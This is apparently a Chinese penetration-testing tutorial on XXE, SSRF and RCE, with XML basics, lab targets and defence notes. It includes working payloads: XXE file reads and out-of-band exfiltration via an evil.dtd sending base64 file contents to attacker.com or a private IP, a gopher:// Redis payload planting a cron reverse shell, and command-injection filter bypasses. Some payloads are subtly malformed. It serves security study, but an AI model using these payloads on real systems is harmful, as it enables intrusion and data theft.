第十五章:XXE漏洞攻防与其他漏洞全解析

XXE漏洞

XML基础

复制代码
#### 概念

*

  ##### 可扩展标记语言
复制代码
#### 用途

*

  ##### 作为配置文件

  *

    ###### 层次分明, 结构清晰, 便于扩展, 便于校验

  *

    ###### 其他方案: properties, yml

*

  ##### 交换数据的格式

  *

    ###### 系统与系统之间的通信, 相互调用接口

  *

    ###### 其他方案: json
复制代码
#### 内容实例

*

  ```xml
  <?xml version="1.0" encoding="UTF-8"?><!--XML声明-->
  <TranInfo><!--XML根元素-->
      <CdtrInf><!--子元素-->
          <Id>xxx</Id>
          <Nm>xxx</Nm>
      </CdtrInf>
      <DdtrInf>
          <Id>xxx</Id>
          <Nm>xxx</Nm>
      </DdtrInf>
      <Amt>xxx</Amt>
  </TranInfo>
  ```
复制代码
#### XML约束

*

  ##### DTD: 文档类型定义

  *

    ###### 对标签顺序、嵌套、属性、内容等等进行限制 (内容也是XML格式)

  *

    ###### DTD 可以定义在 XML 中,也可以创建 .dtd 文件 (方便集中维护),在XML中引用

*

  ##### XSD: XML结构定义

  *

    ###### 支持命名空间

  *

    ###### 数据类型
复制代码
#### DTD中的内部实体

*

  ##### ELEMENT 元素

*

  ##### ENTITY 实体: 通过 \& 符号引用, 后面有分号

  *

    ```xml
    <?xml version="1.0" encoding="UTF-8"?><!--XML声明-->
    <!DOCTYPE name[
        <!ELEMENT name ANY>
        <!ENTITY cs "xxx">
    ]>
    <people>
        <name>x</name>
        <area>&cs;</area>
    </people>
    ```
复制代码
#### DTD中的外部实体

*

  ##### ENTITY SYSTEM 本机文件; PUBLIC 外部文件

  *

    ###### 外部实体引用其他文件 (external.xml) \[注意: 浏览器中不支持访问外部实体\]

  *

    ```xml
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE name[
    <!DOCTYPE name ANY >
    <!ENTITY file SYSTEM "file:///D:/xxx/xxx/xxx.dtd" >
    %file;
    ]>
    <people>
    <user>xxx</user>
    <area>&xxe;</area>
    </people>
    ```

*

  ##### 外部实体常用协议

  *

    ###### `file:///etc//passwd`

  *

    ###### `php://filter/read=convert.base64-encode/resource=index.php`

  *

    ###### `http://xxx/evil.dtd`

XXE漏洞定义和危害

复制代码
#### 定义

*

  ##### XML外部实体注入

  *

    ###### 服务器接收XML格式的数据时, 如果发送数据的人 (攻击者) 在XML数据中插入了包含恶意内容的外部实体, 可能导致读取文件, 执行命令, 探测内网端口, DOS等危害

*

  ##### 函数

  *

    ###### `$xml = simplexml_load_string($data)`

    *

      ###### PHP中的函数
复制代码
#### 危害

*

  ##### 读取本级文件

  *

    ###### 运行环境

    *

      ###### PHP版本5.4.45

      ```xml
      <?xml version="1.0" encoding="UTF-8" ?>
      <!DOCTYPE note[
      <!ENTITY xxe SYSTEM "file:///E://xxx.txt">
      ]>
      <login>&xxe;</login>
      ```

*

  ##### 探测内网端口

  *

    ###### 以mysql为例

    ```xml
    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE note[
    <!ENTITY xxe SYSTEM "http://127.0.0.1:3306">
    ]>
    <login>&xxe;</login>
    ```

*

  ##### 执行系统命令

  *

    ###### 需要安装expect扩展

    ```xml
    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE note[
    <!ENTITY xxe SYSTEM "expect://ipconfig">
    ]>
    <root>
    <name>&xxe;</name>
    </root>
    ```

*

  ##### 拒绝服务攻击

  *

    ###### biliion laughs 攻击 payload

    *

      ###### xxe-dos-payload.txt: 这个少于 1kb 的 XML 实际上包含 109 = 10亿个大文件, 占用大约 3GB 的内存

    ```xml
    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE note[
    <!ENTITY xxe SYSTEM "file:///dev/random">
    ]>
    <msg>
    &bomb;
    </msg>
    ```

XXE漏洞案例分析

复制代码
#### 白云镜像站
复制代码
#### 微信支付XXE漏洞

*

  ##### 攻击方式: 发送恶意的回调数据给商户, 例如通知支付成功, 读取商户服务器文件等等

  *

    ###### `http://baijiahao.baidu.com/s?id=1605163811729301776&wfr=spider&for=pc`

XXE发现和利用

复制代码
#### 发现接口 (主动爬取, 被动流量记录)
复制代码
#### 拦截接口流量, 是否使用XML通信
复制代码
#### 构造外部实体内容, 查看是否解析

*

  ##### 源码: `https://github.com/c0ny1/xxe-lab`
复制代码
#### DNSlog盲打

*

  ##### payload

  ```xml
  <?xmlversion="1.0"encoding="UTF-8"?>
  <!DOCTYPE root[
  <!ENTITY% remote SYSTEM "http://wuyatest.wvz90i.dnslog.cn">
  %remote;
  ]>
  ```
复制代码
#### HTTP发送数据

*

  ##### evil.dtd

  ```xml
  <!ENTITY %file SYSTEM
  "php://filter/read=convert.base64-encode/resource=file:///c:/system.ini">
  <!ENTITY%int "<!ENTITY % send SYSTEM'http://192.168.142.135:8080?p=%file;'>">
  ```

*

  ##### payload

  ```xml
  <?xmlversion="1.0">
  <!DOCTYPE ANY[
  <!ENTITY% FlLE SYSTEM"http://attacker.com/evil.dtd">
  %remote;
  %all;
  ]>
  <root>&send;</root>
  ```

*

  ##### 案例

  *

    ###### `http://192.168.142.167:5000/static/bugs/wooyun-2016-0188569.html`

  *

    ###### `http://192.168.142.167:5000/static/bugs/wooyun-2016-0174217.html`

XXE防御和修复

复制代码
#### 禁用外部实体

*

  ##### `https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5`
复制代码
#### 过滤用户提交的XML数据

*

  ##### 过滤字符

  *

    ###### `=`

  *

    ###### `"`

  *

    ###### `''`

  *

    ###### `<`

  *

    ###### `>`

  *

    ###### `]]>`

  *

    ###### `]]>>`

  *

    ###### `<!--/-->`

  *

    ###### `/-->`

  *

    ###### `-->`

  *

    ###### `<!--`

  *

    ###### `<!`

  *

    ###### `<![CDATA[/]]>`
复制代码
#### 使用WAF

SSRF漏洞

概念

复制代码
#### 服务端请求伪造 (CSRF是跨站脚本请求伪造)
复制代码
#### 代码

```php
<?php
  function curl($url){  
      $ch = curl_init();
      // 设置URL和相应的选项
      curl_setopt($ch, CURLOPT_URL, $url);
      curl_setopt($ch, CURLOPT_HEADER, 0); // 启用时会将头文件的信息作为数据流输出  
      // 抓取URL并把它传递给浏览器  
      curl_exec($ch);
      //关闭cURL资源,并且释放系统资源  
      curl_close($ch);
  }

  $url = $_GET['url'];
  curl($url);  
  ?>
```

PHP curl 扩展

复制代码
#### 获取网页资源: 爬虫
复制代码
#### webservice: 获取接口数据
复制代码
#### FTP: 下载文件
复制代码
#### 配置

*

  ##### 在 phpstudy 的配置文件 php.ini 中设置 extension=php_curl.dill

PHP其他函数

复制代码
#### curl_exec()

*

  ##### 执行 CURL 会话
复制代码
#### file_get_contents()

*

  ##### 将整个文件读入一个字符串
复制代码
#### fsockopen()

*

  ##### 打开一个网站连接或者一个 Unix 套接字连接

CURL其他协议

复制代码
#### file: 查看文件

*

  ##### curl -v 'file:///etc/passwd'
复制代码
#### dict: 探测窗口

*

  ##### 用于搭建在线字典服务

*

  ##### `http://localhost/ssrf/ssrf1.php?url=dict://127.0.0.1:3306`
复制代码
#### gopher: 反弹shell

*

  ##### 是一种信息查找系统, 只支持文本, 不支持图像, 已被 http 替代

*

  ##### `curl-v gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1bash -i>&/dev/tcp/192.168.142.135/44440>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'`

SSRF危害

复制代码
#### 扫描资产
复制代码
#### 获取敏感信息
复制代码
#### 攻击内网服务器 (绕过防火墙)
复制代码
#### 访问大文件, 造成溢出
复制代码
#### 通过 Redis 写入 WebShell 或建立反弹连接

SSRF常见场景

复制代码
#### 社会化分享
复制代码
#### 转码服务
复制代码
#### 在线服务
复制代码
#### 图片加载, 下载功能
复制代码
#### 图片, 文章, 收藏功能
复制代码
#### 网站采集, 网站抓取

SSRF实际案例

复制代码
#### 1、Wordpress3.5.1以下版本xmlrpc.phppingback的缺陷与SSFR
复制代码
#### 2、discuz!的SSRF(利用php的header函数来绕过,其实就是302跳转实现协议转换)
复制代码
#### 3、weblogic的SSRF

如何发现SSRF漏洞

复制代码
#### 爬取地址
复制代码
#### 查看是否请求了其他资源
复制代码
#### 谷歌语法搜索关键字

*

  ##### share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
复制代码
#### github工具推荐

*

  ##### SSRF-Testing

*

  ##### Gopherus

*

  ##### SSRFmap

*

  ##### SSRF_proxy

SSRF防御

复制代码
#### 禁用协议
复制代码
#### 限制请求端口
复制代码
#### 设置URL白名单
复制代码
#### 过滤返回信息
复制代码
#### 统一错误信息

远程代码执行渗透与防御 (RCE漏洞)

危害

复制代码
#### 获取服务器权限
复制代码
#### 获取敏感数据文件
复制代码
#### 写入恶意文件 getshell
复制代码
#### 植入木马病毒勒索软件

实际漏洞

复制代码
#### CVE-2021-3177 PythonRCE漏洞
复制代码
#### CVE-2021-21972VMWare RCE漏洞
复制代码
#### CVE-2021-25646Apache Druid RCE漏洞
复制代码
#### CNVD-2020-46552 深信服EDR
复制代码
#### CNVD-2021-30101 网康下一代防火墙
复制代码
#### `http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=RCE`

PHP RCE 涉及函数

复制代码
#### 命令 command 注入

*

  ##### system()

  *

    ###### 执行外部程序, 并且显示输出

*

  ##### exec() / shell_exec()

  *

    ###### 通过 shell 环境执行命令, 并且将完整的输出以字符串的方式返回

*

  ##### pcntl_exec()

  *

    ###### 在当前进程空间执行指定程序

*

  ##### passthru()

  *

    ###### 执行外部程序并且显示原始输出

*

  ##### popen()

  *

    ###### 打开进程文件指针

*

  ##### proc_open()

  *

    ###### 执行一个命令, 并且打开用来输入 / 输出的文件指针
复制代码
#### 代码 code 注入

*

  ##### eval()

  *

    ###### 把字符串 code 以 php 形式执行

*

  ##### assert()

  *

    ###### 检查一个断言是否为 false

*

  ##### preg_replace()

  *

    ###### 执行一个正则表达式的搜索和替换

*

  ##### create_function()

  *

    ###### 创建一个匿名函数并且返回函数名创

*

  ##### call_user_func() / call_user_func_array()

  *

    ###### 把第一个参数作为回调函数调用

*

  ##### usort() / uasort()

  *

    ###### 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联

Windows命令拼接符号

符号 含义 示例
&& 左边的命令执行成功,右边的才执行 ping 127.0.0.1 && echo 'hello'
& 简单的拼接 ping 1111 & echo 'hello'
` ` 上一条命令的输出,作为下一条命令参数
` `

Linux 命令拼接符号

符号 含义 示例
; 没有任何逻辑关系的连接符
&& 左边的命令执行成功,右边的才执行 cp 1.txt 2.txt && cat 2.txt
` ` 上一条命令的输出,作为下一条命令参数
` `
& 任务后台执行,与nohup命令功能差不多 java -jar test.jar > log.txt &

pikachu靶场

DVWA靶场

more/less搜索

特性 more less
导航 仅支持向下翻页 支持向上和向下自由翻页
搜索 仅支持向下搜索 支持双向搜索(/ 向下, ? 向上)
内存使用 不预加载文件,内存占用少 按需加载,处理大文件效率高
功能丰富度 功能相对简单 功能强大,支持行号、多文件查看等

过滤 CAT

复制代码
#### cat

*

  ##### 由第一行开始显示内容, 并将所有内容输出
复制代码
#### tac

*

  ##### 从最后一行倒序显示内容 并将所有内容输出
复制代码
#### more

*

  ##### 根据窗口大小, 一页一页的显示文件内容
复制代码
#### less, more

*

  ##### less比more更牛b, 可以往前翻页, 也能搜索指定字符
复制代码
#### head

*

  ##### 只显示头几行
复制代码
#### tail

*

  ##### 只显示最后几行
复制代码
#### nl

*

  ##### 类似于 cat -n, 显示时输出行号
复制代码
#### tail

*

  ##### 类似 tail -f

过滤空格

复制代码
#### IFSS9
复制代码
#### %09
复制代码
#### \<
复制代码
#### \>
复制代码
#### {
复制代码
#### }
复制代码
#### %20
复制代码
#### ${IFS}

过滤目录分隔符

过滤运算符

复制代码
#### %0a: 回车
复制代码
#### %0d: 换行
复制代码
#### 实例

*

  ##### `127.0.0.1%0acd${IFS}f***_is_here%0als`

*

  ##### `127.0.0.1%0acd${IFS}f***_is_here%0amore${IFS}f***_xxxx.php`

RCE防御

复制代码
#### 开源框架,升级到最新版本
复制代码
#### 尽量不要使用命令执行的函数
复制代码
#### 如果必须使用,需要做白名单处理
复制代码
#### 用正则表达式对用户输入的内容进行处理
复制代码
#### 使用WAF
相关推荐
ybwycx3 小时前
SpringBoot下获取resources目录下文件的常用方法
java·spring boot·后端
小陈工4 小时前
Python Web开发入门(十一):RESTful API设计原则与最佳实践——让你的API既优雅又好用
开发语言·前端·人工智能·后端·python·安全·restful
小阳哥AI工具4 小时前
Seedance 2.0使用真人参考图生成视频的方法
后端
IeE1QQ3GT4 小时前
使用ASP.NET Abstractions增强ASP.NET应用程序的可测试性
后端·asp.net
Full Stack Developme5 小时前
SpringBoot多线程池配置
spring boot·后端·firefox
你不是我我6 小时前
【Java 开发日记】为什么要有 time _wait 状态,服务端这个状态过多是什么原因?
java·网络·php
星河耀银海6 小时前
JAVA 多线程编程:从基础原理到实战应用
java·开发语言·php
不会写DN6 小时前
构建一个抗揍的 Go TCP 聊天服务:异常兜底与防御性编程实践
tcp/ip·golang·php
sxhcwgcy7 小时前
SpringBoot 使用 spring.profiles.active 来区分不同环境配置
spring boot·后端·spring